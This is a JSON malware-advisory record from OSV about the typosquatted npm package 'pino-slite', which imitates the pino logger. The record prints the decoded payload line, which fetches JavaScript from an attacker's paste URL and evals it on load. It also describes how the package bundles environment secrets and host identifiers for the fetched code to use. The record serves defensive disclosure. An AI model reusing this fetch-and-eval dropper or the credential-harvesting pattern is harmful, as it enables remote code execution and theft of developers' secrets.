{"id":"MAL-2026-6078","revision":"a45e52c52b01494eb6bf9f4a8c8975d8","records":[{"revision":"a45e52c52b01494eb6bf9f4a8c8975d8","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"MAL-2026-6078","aliases":["GHSA-4m74-rvqg-rg5w"],"title":"Malicious code in pino-slite (npm)","description":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (ea546461f3101a972511a0bb9d66b73849904ad3522724d1670b003e108c11bb)\npino-slite impersonates the legitimate `pino` logger (README titled 'pino-slite (Pino)' with badges and homepage pointing to getpino.io, exported function named `pino`). On require(), lib/writer.js (loaded transitively from the package main pino.js) decodes a base64 string and passes it to eval(atob(hash)). The decoded payload performs `fetch('https://jsonkeeper.com/b/0DWFC').then(r=>r.json()).then(d=>{eval(d.ret);})`, executing attacker-controlled JavaScript fetched from a mutable third-party paste host on every load. Immediately before the eval, the module assembles a `data` object containing `{...process.env, version, platform: os.platform(), hostname: os.hostname(), username: os.userInfo().username, macAddresses: <non-internal IPv4 MACs>}`, which is in scope for the remotely-fetched code — providing a ready-made channel to exfiltrate the installer's full environment (CI secrets, AWS_*, NPM_TOKEN, GH tokens, etc.) and host identifiers. This combines a typosquat lure, an import-time RCE dropper from an attacker-controlled mutable URL, and an environment-credential harvester.\n","state":0,"publishedAt":"2026-06-17T21:40:46+00:00","modifiedAt":"2026-09-01T11:31:12.4882717+00:00","affected":[{"ecosystem":"npm","name":"pino-slite","ranges":[],"versions":["4.1.16","4.1.12"],"rawVersionEvidence":null}],"metrics":[],"references":["https://www.npmjs.com/package/pino-slite/v/4.1.16","https://www.npmjs.com/package/pino-slite/v/4.1.12","https://github.com/advisories/GHSA-4m74-rvqg-rg5w"],"sourceUrl":"https://osv.dev/vulnerability/MAL-2026-6078","license":"OSV · upstream source license applies","key":"osv:MAL-2026-6078","identifiers":["MAL-2026-6078","GHSA-4m74-rvqg-rg5w"]},"retained":false,"historicalAffected":[]}],"coverage":[]}